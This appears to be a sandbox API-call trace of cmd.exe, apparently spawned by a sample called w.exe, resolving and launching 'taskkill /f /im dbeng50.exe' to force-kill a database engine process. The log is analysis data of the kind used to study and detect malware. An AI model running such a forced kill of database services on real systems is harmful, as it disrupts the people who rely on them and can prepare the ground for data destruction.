	[0043.060] SetErrorMode (uMode=0x8003) returned 0x1
	[0043.060] GetProcessHeap () returned 0x3d0000
	[0043.060] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e2db8, Size=0x8c) returned 0x3e2db8
	[0043.060] GetProcessHeap () returned 0x3d0000
	[0043.060] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e2db8) returned 0x8c
	[0043.061] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0043.061] GetProcessHeap () returned 0x3d0000
	[0043.061] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x72) returned 0x3f2a60
	[0043.061] GetProcessHeap () returned 0x3d0000
	[0043.061] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3e2e50
	[0043.061] GetProcessHeap () returned 0x3d0000
	[0043.061] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e2e50, Size=0x72) returned 0x3e2e50
	[0043.061] GetProcessHeap () returned 0x3d0000
	[0043.061] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e2e50) returned 0x72
	[0043.061] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.061] GetProcessHeap () returned 0x3d0000
	[0043.061] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe0) returned 0x3e2ed0
	[0043.064] GetProcessHeap () returned 0x3d0000
	[0043.064] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e2ed0, Size=0x76) returned 0x3e2ed0
	[0043.064] GetProcessHeap () returned 0x3d0000
	[0043.064] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e2ed0) returned 0x76
	[0043.064] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im dbeng50.exe ", fInfoLevelId=0x1, lpFindFileData=0x3af3ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af3ec) returned 0xffffffff
	[0043.065] GetLastError () returned 0x3
	[0043.065] GetProcessHeap () returned 0x3d0000
	[0043.065] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eaa28 | out: hHeap=0x3d0000) returned 1
	[0043.065] GetProcessHeap () returned 0x3d0000
	[0043.065] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eea38 | out: hHeap=0x3d0000) returned 1
	[0043.065] GetProcessHeap () returned 0x3d0000
	[0043.065] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6a10 | out: hHeap=0x3d0000) returned 1
	[0043.065] GetConsoleOutputCP () returned 0x1b5
	[0043.065] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fe4260 | out: lpCPInfo=0x49fe4260) returned 1
	[0043.065] GetUserDefaultLCID () returned 0x409
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49fe4950, cchData=8 | out: lpLCData=":") returned 2
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3af818, cchData=128 | out: lpLCData="0") returned 2
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3af818, cchData=128 | out: lpLCData="0") returned 2
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3af818, cchData=128 | out: lpLCData="1") returned 2
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49fe4940, cchData=8 | out: lpLCData="/") returned 2
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49fe4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49fe4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49fe4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49fe4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49fe4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49fe4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49fe4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0043.066] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49fe4930, cchData=8 | out: lpLCData=".") returned 2
	[0043.067] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49fe4920, cchData=8 | out: lpLCData=",") returned 2
	[0043.067] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0043.068] GetProcessHeap () returned 0x3d0000
	[0043.068] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20c) returned 0x3e2f50
	[0043.068] GetConsoleTitleW (in: lpConsoleTitle=0x3e2f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.068] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0043.068] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0043.068] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0043.068] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0043.069] GetProcessHeap () returned 0x3d0000
	[0043.069] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x400a) returned 0x3e6a10
	[0043.069] GetProcessHeap () returned 0x3d0000
	[0043.069] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6a10 | out: hHeap=0x3d0000) returned 1
	[0043.069] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0043.069] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0043.069] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0043.069] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0043.069] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0043.069] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0043.069] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0043.069] GetProcessHeap () returned 0x3d0000
	[0043.069] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x58) returned 0x3e3168
	[0043.069] GetProcessHeap () returned 0x3d0000
	[0043.070] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1a) returned 0x3e5710
	[0043.070] GetProcessHeap () returned 0x3d0000
	[0043.070] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x32) returned 0x3e31c8
	[0043.071] GetConsoleTitleW (in: lpConsoleTitle=0x3af510, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.071] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0043.071] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0043.071] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0043.071] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0043.071] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0043.071] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0043.071] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0043.071] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0043.071] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0043.071] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0043.071] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0043.071] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0043.071] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0043.071] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0043.072] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0043.072] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0043.072] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0043.072] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0043.072] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0043.072] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0043.072] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0043.072] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0043.072] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0043.072] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0043.072] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0043.072] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0043.072] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0043.072] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0043.072] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0043.072] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0043.072] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0043.072] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0043.072] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0043.072] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0043.072] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0043.072] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0043.072] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0043.072] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0043.072] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0043.072] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0043.072] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0043.072] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0043.072] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0043.072] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0043.072] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0043.072] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0043.072] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0043.072] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0043.072] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0043.072] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0043.072] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0043.073] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0043.073] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0043.073] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0043.073] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0043.073] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0043.073] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0043.073] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0043.073] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0043.073] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0043.073] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0043.073] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0043.073] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0043.073] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0043.073] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0043.073] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0043.073] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0043.073] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0043.073] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0043.073] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0043.073] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0043.073] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0043.073] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0043.073] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0043.073] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0043.073] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0043.073] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0043.073] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0043.073] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0043.073] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0043.073] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0043.073] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0043.073] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0043.073] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0043.073] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0043.073] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0043.073] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0043.074] GetProcessHeap () returned 0x3d0000
	[0043.074] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x210) returned 0x3e3208
	[0043.074] GetProcessHeap () returned 0x3d0000
	[0043.074] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x44) returned 0x3e3420
	[0043.074] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0043.074] GetProcessHeap () returned 0x3d0000
	[0043.074] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x418) returned 0x3d07f0
	[0043.074] SetErrorMode (uMode=0x0) returned 0x8003
	[0043.074] SetErrorMode (uMode=0x1) returned 0x0
	[0043.074] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3d07f8, lpFilePart=0x3af030 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af030*="Desktop") returned 0x25
	[0043.074] SetErrorMode (uMode=0x8003) returned 0x1
	[0043.074] GetProcessHeap () returned 0x3d0000
	[0043.074] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d07f0, Size=0x66) returned 0x3d07f0
	[0043.074] GetProcessHeap () returned 0x3d0000
	[0043.075] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d07f0) returned 0x66
	[0043.075] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.075] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0043.075] GetProcessHeap () returned 0x3d0000
	[0043.075] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x120) returned 0x3e3470
	[0043.075] GetProcessHeap () returned 0x3d0000
	[0043.075] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x238) returned 0x3d0860
	[0043.076] GetProcessHeap () returned 0x3d0000
	[0043.077] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d0860, Size=0x122) returned 0x3d0860
	[0043.077] GetProcessHeap () returned 0x3d0000
	[0043.077] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d0860) returned 0x122
	[0043.077] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49ff0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.077] GetProcessHeap () returned 0x3d0000
	[0043.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe0) returned 0x3d0990
	[0043.077] GetProcessHeap () returned 0x3d0000
	[0043.077] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d0990, Size=0x76) returned 0x3d0990
	[0043.077] GetProcessHeap () returned 0x3d0000
	[0043.077] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d0990) returned 0x76
	[0043.077] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.077] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aedac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aedac) returned 0xffffffff
	[0043.077] GetLastError () returned 0x2
	[0043.077] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3aedac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aedac) returned 0xffffffff
	[0043.077] GetLastError () returned 0x2
	[0043.077] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.077] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3aedac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aedac) returned 0x3d0a10
	[0043.077] GetProcessHeap () returned 0x3d0000
	[0043.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x3e3598
	[0043.078] FindClose (in: hFindFile=0x3d0a10 | out: hFindFile=0x3d0a10) returned 1
	[0043.078] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3aedac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aedac) returned 0xffffffff
	[0043.078] GetLastError () returned 0x2
	[0043.078] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3aedac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aedac) returned 0x3d0a10
	[0043.078] GetProcessHeap () returned 0x3d0000
	[0043.078] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e3598, Size=0x4) returned 0x3e3598
	[0043.078] FindClose (in: hFindFile=0x3d0a10 | out: hFindFile=0x3d0a10) returned 1
	[0043.078] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0043.078] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0043.078] GetConsoleTitleW (in: lpConsoleTitle=0x3af2a4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.078] InitializeProcThreadAttributeList (in: lpAttributeList=0x3af12c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3af1f4 | out: lpAttributeList=0x3af12c, lpSize=0x3af1f4) returned 1
	[0043.078] UpdateProcThreadAttribute (in: lpAttributeList=0x3af12c, dwFlags=0x0, Attribute=0x60001, lpValue=0x3af1ec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3af12c, lpPreviousValue=0x0) returned 1
	[0043.078] GetStartupInfoW (in: lpStartupInfo=0x3af0e8 | out: lpStartupInfo=0x3af0e8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8)) 
	[0043.078] GetProcessHeap () returned 0x3d0000
	[0043.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d0a10
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0043.079] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0043.080] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0043.080] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0043.080] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0043.080] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0043.080] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0043.080] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0043.080] GetProcessHeap () returned 0x3d0000
	[0043.080] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d0a10 | out: hHeap=0x3d0000) returned 1
	[0043.080] GetProcessHeap () returned 0x3d0000
	[0043.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xa) returned 0x3dfee0
	[0043.080] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0043.081] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im dbeng50.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3af188*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im dbeng50.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3af1d4 | out: lpCommandLine="taskkill  /f /im dbeng50.exe ", lpProcessInformation=0x3af1d4*(hProcess=0x78, hThread=0x74, dwProcessId=0x8b8, dwThreadId=0x8b4)) returned 1
	[0043.087] CloseHandle (hObject=0x74) returned 1
	[0043.087] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0043.087] GetProcessHeap () returned 0x3d0000
	[0043.087] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ed0 | out: hHeap=0x3d0000) returned 1
	[0043.087] GetEnvironmentStringsW () returned 0x3f4a48*
	[0043.087] GetProcessHeap () returned 0x3d0000
	[0043.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb36) returned 0x3e4090
	[0043.087] FreeEnvironmentStringsW (penv=0x3f4a48) returned 1
	[0043.087] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0043.444] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3af0c8 | out: lpExitCode=0x3af0c8*=0x80) returned 1
	[0043.444] CloseHandle (hObject=0x78) returned 1
	[0043.445] _vsnwprintf (in: _Buffer=0x3af210, _BufferCount=0x13, _Format="%08X", _ArgList=0x3af0d4 | out: _Buffer="00000080") returned 8
	[0043.445] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0043.445] GetProcessHeap () returned 0x3d0000
	[0043.445] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4090 | out: hHeap=0x3d0000) returned 1
	[0043.445] GetEnvironmentStringsW () returned 0x3e4090*
	[0043.445] GetProcessHeap () returned 0x3d0000
	[0043.445] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb5c) returned 0x3e5ed0
	[0043.445] FreeEnvironmentStringsW (penv=0x3e4090) returned 1
	[0043.445] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0043.445] GetProcessHeap () returned 0x3d0000
	[0043.445] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ed0 | out: hHeap=0x3d0000) returned 1
	[0043.445] GetEnvironmentStringsW () returned 0x3e4090*
	[0043.445] GetProcessHeap () returned 0x3d0000
	[0043.445] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb5c) returned 0x3e5ed0
	[0043.445] FreeEnvironmentStringsW (penv=0x3e4090) returned 1
	[0043.445] GetProcessHeap () returned 0x3d0000
	[0043.445] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dfee0 | out: hHeap=0x3d0000) returned 1
	[0043.445] DeleteProcThreadAttributeList (in: lpAttributeList=0x3af12c | out: lpAttributeList=0x3af12c) 
	[0043.445] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0043.445] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0043.445] _get_osfhandle (_FileHandle=1) returned 0xc4
